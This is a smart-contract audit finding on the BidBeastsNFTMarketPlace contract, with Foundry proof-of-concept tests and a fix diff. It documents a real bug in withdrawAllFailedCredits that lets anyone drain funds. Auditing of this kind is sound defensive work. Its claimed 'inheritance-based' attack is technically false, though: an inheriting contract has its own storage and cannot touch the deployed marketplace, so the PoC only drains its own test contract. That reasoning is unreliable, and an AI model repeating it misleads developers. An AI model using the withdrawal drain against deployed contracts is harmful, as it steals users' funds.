[H01] - BidBeastsNFTMarketPlace::_payout and BidBeastsNFTMarketPlace::withdrawAllFailedCredits Lack Proper Access Controls, Enabling Complete Fund Drainage
Description
Normal Behavior
The internal BidBeastsNFTMarketPlace::_payout function handles ETH transfers during marketplace operations. When a transfer fails (e.g., recipient contract lacks a receive() or fallback() function), the failed amount is credited to failedTransferCredits[recipient]. Users can subsequently withdraw these failed credits using the external function BidBeastsNFTMarketPlace::withdrawAllFailedCredits.
The vulnerability consists of two critical flaws that compound to create a complete fund drainage exploit:
1: Inheritance-Based Credit Generation
The _payout function is marked internal rather than private, allowing malicious contracts to inherit BidBeastsNFTMarketPlace and expose the function publicly. An attacker can:
Deploy a contract that inherits the marketplace
Expose _payout through a public wrapper function
Call it with a rejecter contract (no receive/fallback functions) as the recipient
Artificially generate failed credits without participating in legitimate auctions
2: Parameter Mismatch and Missing Balance Clearing
The withdrawAllFailedCredits function contains a critical implementation error:
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
This implementation allows:
Unauthorised Access: Anyone can withdraw credits belonging to any address by passing that address as _receiver
Infinite Withdrawal: The _receiver's balance is never cleared (only msg.sender is cleared), allowing attackers to repeatedly call withdrawAllFailedCredits(_receiver) to drain all contract funds
Vulnerable Code
function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
(bool success, ) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood: HIGH
Reason 1 - Trivial to Execute:
The attack requires only basic Solidity knowledge and can be executed with a simple malicious contract deployment. No complex preconditions or timing requirements are necessary.
Reason 2 - Always Exploitable:
The vulnerability exists from the moment the contract is deployed. Attackers can scan the blockchain for this contract pattern and execute the attack at any time, regardless of marketplace activity. The attacker has complete control over timing and amounts.
Reason 3 - Public Attack Surface:
Both the inheritance mechanism and the withdrawAllFailedCredits() function are externally accessible with no access controls, making this vulnerability immediately exploitable by any adversary.
Impact: CRITICAL
Impact 1 - Complete Fund Loss:
This vulnerability guarantees attackers can drain 100% of the contract's ETH balance through the following mechanisms:
Attackers can create arbitrary failed credits at will through inheritance
No legitimate auction activity is required (assuming funds exist in the contract)
The infinite withdrawal bug enables complete drainage through repeated calls
All bidder deposits, pending seller payments, and protocol fees can be stolen
Impact 2 - Protocol Destruction:
Beyond immediate financial losses, this vulnerability would:
Destroy all user trust in the marketplace
Result in complete loss of business reputation
Potentially lead to legal liability for user fund losses
Likely cause the protocol to cease operations entirely
Proof of Concept
Attack Flow:
Since _payout is marked internal, it can be inherited and exploited by a malicious contract:
Attacker deploys a contract that inherits BidBeastsNFTMarketPlace
The malicious contract exposes a public function that calls the inherited _payout
Attacker calls this function with a rejecter contract as the recipient
Failed credits accumulate in failedTransferCredits[rejecterContract]
Attacker (using any address) repeatedly calls withdrawAllFailedCredits(rejecterContract) as msg.sender
All contract funds are drained
Test Instructions:
Copy the code below into a new Solidity file called MyBidBeastTests.t.sol in the test folder, then run:
forge test --mp test/MyBidBeastTests.t.sol -vvvv
Test Code:
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract TestBidBeastsMarket is BidBeastsNFTMarket {
constructor(address _BidBeastsNFT) BidBeastsNFTMarket(_BidBeastsNFT) {}
function exposed_payout(address recipient, uint256 amount) external {
_payout(recipient, amount);
}
function getFailedTransferCredits(address recipient) external view returns (uint256) {
return failedTransferCredits[recipient];
}
}
contract NoReceiveFunction {
}
contract MyBidBeastsTest is Test {
TestBidBeastsMarket market;
BidBeasts nft;
address public constant OWNER = address(0x1);
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public constant BIDDER_2 = address(0x4);
address public constant ATTACKER = address(0x5);
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
uint256 public constant BUY_NOW_PRICE = 5 ether;
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
market = new TestBidBeastsMarket(address(nft));
vm.stopPrank();
vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
vm.deal(ATTACKER, 0);
}
function _listNFTs() internal {
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
}
function _mintNFTs() internal {
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
}
function test_withdrawFailedCreditMaxUint() public {
NoReceiveFunction noReceive = new NoReceiveFunction();
uint256 _amount = 10000000 ether;
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
vm.deal(address(market), _amount);
market.exposed_payout(address(noReceive), _amount);
uint256 credits = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance: ", credits);
assertEq(credits, _amount, "Failed credits not updated");
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(noReceive));
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
assert(address(ATTACKER).balance > 0);
uint256 creditsAfterTransfer = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance After Transfer: ", creditsAfterTransfer);
}
function test_placeBidDrain() public {
_mintNFTs();
_listNFTs();
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory highestBid = market.getHighestBid(TOKEN_ID);
console.log("Highest Bid: ", highestBid.amount);
NoReceiveFunction noReceive = new NoReceiveFunction();
uint256 _amount = highestBid.amount;
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
vm.deal(address(market), _amount);
market.exposed_payout(address(noReceive), _amount);
uint256 credits = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance: ", credits);
assertEq(credits, _amount, "Failed credits not updated");
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(noReceive));
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
assert(address(ATTACKER).balance > 0);
uint256 creditsAfterTransfer = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance After Transfer: ", creditsAfterTransfer);
}
}
Recommended Mitigation
1: Prevent Inheritance-Based Exploitation:
Change the _payout function visibility from internal to private to prevent malicious contracts from inheriting and exposing it:
-function _payout(address recipient, uint256 amount) internal {
+function _payout(address recipient, uint256 amount) private {
if (amount == 0) return;
(bool success, ) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}
2: Implement Proper Access Control for Withdrawals:
Remove the _receiver parameter and ensure users can only withdraw their own credits. This fixes both the unauthorized access and the infinite withdrawal bugs:
-function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}